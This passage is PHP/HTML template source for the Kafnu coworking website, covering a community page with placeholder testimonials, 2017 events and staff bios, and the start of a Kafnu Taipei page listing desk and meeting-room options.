alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <!-- page-community-member-slider-item --> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-color.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-white.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-01-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-02-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-03-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-04-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-05-white.jpg" alt=""> </div> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/member-slider-desktop-06-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> </div> </div> <div class="container-fluid reduce-padding"> <div id="page-community-member-slider-mobile" class="kafnu-slick-slider visible-xs visible-sm"> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-01-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-01-color-mobile.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <!-- page-community-member-slider-item --> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-02-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-02-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-03-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-03-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-04-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-04-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-05-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-05-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> <div class="page-community-member-slider-item-mobile"> <div class="row"> <div class="col-md-8"> <div class="page-community-member-slider-item-image-container"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/community/member-slider-desktop-05-color.jpg" data-image-mobile="images_cms/community/member-slider-desktop-06-color.jpg" alt=""> </div> </div> </div> <div class="col-md-4 text-col"> <div class="text-box-container"> <p>“Lorem ipsum dolor sit amet, cons ectetur adipscing elit. Maecenas mollis lorem in enim finibus, quis ultrices dui accumsna. Nulla facilisi. Fusce at aliquam mangna, quis condimentum.”</p> <span class="name">Lorem Ipsum, <br>from Kafnu Hong Kong</span> </div> </div> </div> <!-- row --> </div> </div> </div> </article> <article id="page-default-booking-section" class="community-page-1 community-version"> <div class="container-fluid"> <div class="scroll-target" data-value="events"></div> <div class="page-default-booking-item-title"> <h2>Kafnu Events</h2> </div> <div id="page-default-booking-item-desktop" class="center-version hidden-sm hidden-xs"> <!-- <div class=""> --> <div class="page-default-booking-item inline-block-version"> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-01.jpg" data-image-tablet="images_cms/community/event-01.jpg" data-image-mobile="images_cms/community/event-01.jpg" alt=""> </div> <div class="page-default-booking-item-image-caption"> <h6>upcoming events</h6> <h5>Vision Board for the Future</h5> </div> </div> <div class="page-default-booking-item-text"> <ul> <li class="calendar icon">12 October 2017 – 6:30 PM</li> <li class="map-pin icon">Kafnu Hong Kong</li> </ul> <p>We celebrate Kafnu’s opening with a stimulating panel discussion, tasty cocktails, and special guests.</p> </div> <!-- <div class="page-default-booking-item-cta-container"> <a href="#" class="square-cta border-version">See More</a> </div> --> </div> <!-- <div class="col-md-3 no-padding page-default-booking-item"> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-02.jpg" data-image-tablet="images_cms/community/event-02.jpg" data-image-mobile="images_cms/community/event-02.jpg" alt=""> </div> <div class="page-default-booking-item-image-caption"> <h6>upcoming events</h6> <h5>Reception for HICAP conference attendees</h5> </div> </div> <div class="page-default-booking-item-text"> <ul> <li class="calendar icon">19 October 2017 – 7:00 PM</li> <li class="map-pin icon">Kafnu Hong Kong</li> </ul> <p>In Hong Kong for HICAP? See the world’s first Kafnu and prepare for some special surprises.</p> </div> </div> --> <!-- <div class="col-md-3 no-padding page-default-booking-item"> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-03.jpg" data-image-tablet="images_cms/community/event-03.jpg" data-image-mobile="images_cms/community/event-03.jpg" alt=""> </div> <div class="page-default-booking-item-image-caption"> <h6>upcoming events</h6> <h5>‘Unchartered Territories’ Dinner.</h5> </div> </div> <div class="page-default-booking-item-text"> <ul> <li class="calendar icon">20 October 2017 – 6:00 PM</li> <li class="map-pin icon">Kafnu Hong Kong</li> </ul> <p>Experience Hong Kong’s best-kept secret restaurants, in a dinner tour hosted by Kafnu for HICAP attendees.</p> </div> <!- - <div class="page-default-booking-item-cta-container"> <a href="javascript:void(0);" class="square-cta border-version fade-out-version">Expired</a> </div> - -> </div> --> <!-- <div class="page-default-booking-item inline-block-version"> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-04.jpg" data-image-tablet="images_cms/community/event-04.jpg" data-image-mobile="images_cms/community/event-04.jpg" alt=""> </div> <div class="page-default-booking-item-image-caption"> <h6>upcoming events</h6> <h5>Doing business in Taiwan</h5> </div> </div> <div class="page-default-booking-item-text"> <ul> <li class="calendar icon">30 Oct – 3 Nov</li> <li class="map-pin icon">Kafnu Hong Kong</li> </ul> <p>A week of seminars and “office hours” with individual consultation with experts on doing business in Taiwan – from setting up a company, working with hardware factories, hiring and HR, and importing/exporting.</p> </div> <!- - <div class="page-default-booking-item-cta-container"> <a href="javascript:void(0);" class="square-cta border-version fade-out-version">Expired</a> </div> - -> </div> --> <!-- </div> --> <!-- row --> </div> <!-- __ _______ ____ ______ ______ / |/ / __ \/ __ )/ _/ / / ____/ / /|_/ / / / / __ |/ // / / __/ / / / / /_/ / /_/ // // /___/ /___ /_/ /_/\____/_____/___/_____/_____/ --> <div id="page-default-booking-item-mobile" class="visible-sm visible-xs kafnu-slick-slider"> <div class="col-md-3 page-default-booking-item"> <h6>upcoming events</h6> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-01.jpg" data-image-tablet="images_cms/community/event-01.jpg" data-image-mobile="images_cms/community/event-01.jpg" alt=""> </div> </div> <div class="page-default-booking-item-text"> <h5>Vision Board for the Future</h5> <ul> <li class="calendar icon">12 October 2017 – 6:30 PM</li> <li class="map-pin icon">Kafnu Hong Kong</li> </ul> <p>We celebrate Kafnu’s opening with a stimulating panel discussion, tasty cocktails, and special guests.</p> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="#" class="square-cta border-version">See More</a> --> </div> </div> <!-- <div class="col-md-3 page-default-booking-item"> <h6>upcoming events</h6> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-02.jpg" data-image-tablet="images_cms/community/event-02.jpg" data-image-mobile="images_cms/community/event-02.jpg" alt=""> </div> </div> <div class="page-default-booking-item-text"> <h5>Reception for HICAP conference attendees</h5> <ul> <li class="calendar icon">19 October 2017 – 7:00 PM</li> <li class="map-pin icon">Kafnu Hong Kong</li> </ul> <p>In Hong Kong for HICAP? See the world’s first Kafnu and prepare for some special surprises.</p> </div> <div class="page-default-booking-item-cta-container"> <!- - <a href="#" class="square-cta border-version">See More</a> - -> </div> </div> --> <!-- <div class="col-md-3 page-default-booking-item"> <h6>upcoming events</h6> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-03.jpg" data-image-tablet="images_cms/community/event-03.jpg" data-image-mobile="images_cms/community/event-03.jpg" alt=""> </div> </div> <div class="page-default-booking-item-text"> <h5>‘Unchartered Territories’ Dinner.</h5> <ul> <li class="calendar icon">20 October 2017 – 6:00 PM</li> <li class="map-pin icon">Kafnu Hong Kong</li> </ul> <p>Experience Hong Kong’s best-kept secret restaurants, in a dinner tour hosted by Kafnu for HICAP attendees.</p> </div> <div class="page-default-booking-item-cta-container"> <!- - <a href="#" class="square-cta border-version">See More</a> - -> </div> </div> --> <!-- <div class="col-md-3 page-default-booking-item"> <h6>upcoming events</h6> <div class="page-default-booking-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/community/event-04.jpg" data-image-tablet="images_cms/community/event-04.jpg" data-image-mobile="images_cms/community/event-04.jpg" alt=""> </div> </div> <div class="page-default-booking-item-text"> <h5>Doing business in Taiwan</h5> <ul> <li class="calendar icon">30 Oct – 3 Nov</li> <li class="map-pin icon">Kafnu Hong Kong</li> </ul> <p>A week of seminars and “office hours” with individual consultation with experts on doing business in Taiwan – from setting up a company, working with hardware factories, hiring and HR, and importing/exporting.</p> </div> <div class="page-default-booking-item-cta-container"> <!- - <a href="#" class="square-cta border-version">See More</a> - -> </div> </div> --> </div> </div> </article> <article class="community-page-2"> <div class="container-fluid"> <div class="row"> <div class="col-md-10 col-md-offset-1"> <div id="page-2-community-managers-mobile"> <div class="page-community-managers-item-mobile"> <div class="manic-image-container has-full-width"> <img class="image" src="" data-image-tablet="images_cms/community/community-slider-01-mobile.jpg" data-image-mobile="images_cms/community/community-slider-01-mobile.jpg" alt=""> </div> <div class="text-container"> <h5 class="country">hong kong</h5> <h4 class="name">Pico Ho</h4> <p class="description">I'm a listener with empathy and respect. My hobbies are photography, hiking and camping.</p> </div> </div> <!-- page-community-managers-item-mobile --> </div> <!-- page-community-managers-mobile --> </div> </div> <!-- row --> </div> <div id="page-community-managers-thumbnails-mobile"> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-01-mobile.jpg" data-name="Pico Ho" data-country="Hong Kong" data-description="I'm a listener with empathy and respect. My hobbies are photography, hiking and camping."> <img src="images_cms/community/slider-thumbnail-01.jpg" class="img-responsive" alt=""> </div> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-02-mobile.jpg" data-name="Jenna Ho" data-country="Hong Kong" data-description="Music is my belief and my channel to express emotions; I started writing songs when I was 13. My life motto is: Do it if you want it."> <img src="images_cms/community/slider-thumbnail-02.jpg" class="img-responsive" alt=""> </div> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-03-mobile.jpg" data-name="Ben Ng" data-country="Hong Kong" data-description="Movies inspire me, no matter happy or sad. I have experienced many failures but all of them are steps to construct a better me."> <img src="images_cms/community/slider-thumbnail-03.jpg" class="img-responsive" alt=""> </div> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-04-mobile.jpg" data-name="Michelle Lui" data-country="Hong Kong" data-description="I have a common name but I aim to live an extraordinary life. I am a super adventurous person - I love rafting, kayaking and exploring."> <img src="images_cms/community/slider-thumbnail-04.jpg" class="img-responsive" alt=""> </div> <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-05-mobile.jpg" data-name="Karl Li" data-country="Hong Kong" data-description='I am critical about things and always play the devil’s advocate role in the team. My favourite book is "From 0 to 1". It inspired me a lot and made me love creating new things.'> <img src="images_cms/community/slider-thumbnail-05.jpg" class="img-responsive" alt=""> </div> <!-- <div class="community-manager manic-image-container" data-image="images_cms/community/community-slider-01-mobile.jpg" data-name="Pico Ho" data-country="Hong Kong" data-description="I'm a listener with empathy and respect. My hobbies are photography, hiking and camping."> <img src="images_cms/community/slider-thumbnail-01.jpg" class="img-responsive" alt=""> </div> --> </div> </article> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_community.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('community.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` kafnutp.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-country"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <div class="header-desktop-spacer hidden-xs hidden-sm"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section" class="country-version"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-lg-9 col-md-8 no-padding"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/country-banner.jpg"> </div> </div> <div class="col-lg-3 col-md-4 no-padding"> <div id="banner-sidebar-container" class="kafnu-slick-slider"> <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-01.jpg" data-image-tablet="images_cms/country_tp/event-slider-01.jpg" data-image-mobile="images_cms/country_tp/event-slider-01.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Vision Board for the Future</h5> <p>12 October 2017 – 6:30 PM</p> <p>We celebrate Kafnu’s opening with a stimulating panel discussion, tasty cocktails, and special guests.</p> </div> <!-- <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> --> </div><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-02.jpg" data-image-tablet="images_cms/country_tp/event-slider-02.jpg" data-image-mobile="images_cms/country_tp/event-slider-02.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Reception for HICAP conference attendees</h5> <p>19 October 2017 – 7:00 PM</p> <p>In Hong Kong for HICAP? See the world’s first Kafnu and prepare for some special surprises.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-03.jpg" data-image-tablet="images_cms/country_tp/event-slider-03.jpg" data-image-mobile="images_cms/country_tp/event-slider-03.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>‘Unchartered Territories’ Dinner.</h5> <p>20 October 2017 – 6:00 PM</p> <p>Experience Hong Kong’s best-kept secret restaurants, in a dinner tour hosted by Kafnu for HICAP attendees.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-04.jpg" data-image-tablet="images_cms/country_tp/event-slider-04.jpg" data-image-mobile="images_cms/country_tp/event-slider-04.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Doing business in Taiwan</h5> <p>30 Oct – 3 Nov</p> <p>A week of seminars and “office hours” with individual consultation with experts on doing business in Taiwan – from setting up a company, working with hardware factories, hiring and HR, and importing/exporting.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> </div> <!-- banner-sidebar-container --> </div> </div> <!-- row --> </div> </div> <!-- page-default-banner-image --> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/country_tp/country-banner.jpg" data-image-mobile="images_cms/country_tp/country-banner.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="left-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div id="page-default-banner-copy"> <h1>Kafnu Taipei</h1> <h3>A vertical village at the crossroads of tech, media & design</h3> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-default-booking-section"> <div class="container-fluid reduce-padding"> <div id="page-default-booking-item-desktop" class="hidden-sm hidden-xs"> <div class="row"> <div class="col-md-3 no-padding page-default-booking-item tp-version"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-01.jpg" data-image-tablet="images_cms/country_tp/booking-space-01.jpg" data-image-mobile="images_cms/country_tp/booking-space-01-mobile.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>Hot Desk</h5> <p>Choose your favorite seat and book by hour, day or month.</p> <!-- <span class="price">From HK$70/Hour</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/calendar" class="square-cta border-version">Book Now</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item tp-version"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-02.jpg" data-image-tablet="images_cms/country_tp/booking-space-02.jpg" data-image-mobile="images_cms/country_tp/booking-space-02.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>4 Person Meeting Room</h5> <p>Comfortable seating, colorful artwork, high-quality screens.</p> <!-- <span class="price">From HK$600/Hour</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361933" target="_blank" class="square-cta border-version">Book Now</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item tp-version"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-03.jpg" data-image-tablet="images_cms/country_tp/booking-space-03.jpg" data-image-mobile="images_cms/country_tp/booking-space-03.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>6 Person Meeting Room</h5> <p>Digital light cubes or panels, industrial walls, wireless projection.</p> <!-- <span class="price">From HK$750/Hour</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361934" target="_blank" class="square-cta border-version">Book Now</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> <div class="col-md-3 no-padding page-default-booking-item tp-version"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-04.jpg" data-image-tablet="images_cms/country_tp/booking-space-04.jpg" data-image-mobile="images_cms/country_tp/booking-space-04.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>8 Person Meeting Room</h5> <p>80-inch screen, integrated aqua scape (coming soon).</p> <!-- <span class="price">From HK$900/Hour</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361935" target="_blank" class="square-cta border-version" style="display: none;">Book Now</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> <!-- row --> </div> <!-- __ _______ ____ ______ ______ / |/ / __ \/ __ )/ _/ / / ____/ / /|_/ / / / / __ |/ // / / __/ / / / / /_/ / /_/ // // /___/ /___ /_/ /_/\____/_____/___/_____/_____/ --> <div id="page-default-booking-item-mobile" class="visible-sm visible-xs"> <div class="row"> <div class="col-sm-12 no-padding page-default-booking-item tp-version"> <div class="manic-expand-container mobile-open-version"> <div class="scroll-target" data-value="hot-desk"></div> <div class="manic-expand-container-title"> <h5>Hot Desk</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-01.jpg" data-image-tablet="images_cms/country_tp/booking-space-01.jpg" data-image-mobile="images_cms/country_tp/booking-space-01-mobile.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>Hot Desk</h5> <p>Choose your favorite seat and book by hour, day or month.</p> <!-- <span class="price">From HK$70/Hour</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/calendar" class="square-cta border-version">Book Now</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item tp-version"> <div class="manic-expand-container"> <div class="scroll-target" data-value="4-person"></div> <div class="manic-expand-container-title"> <h5>4 Person Meeting Room</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-02.jpg" data-image-tablet="images_cms/country_tp/booking-space-02.jpg" data-image-mobile="images_cms/country_tp/booking-space-02.jpg" alt=""> </div> <div 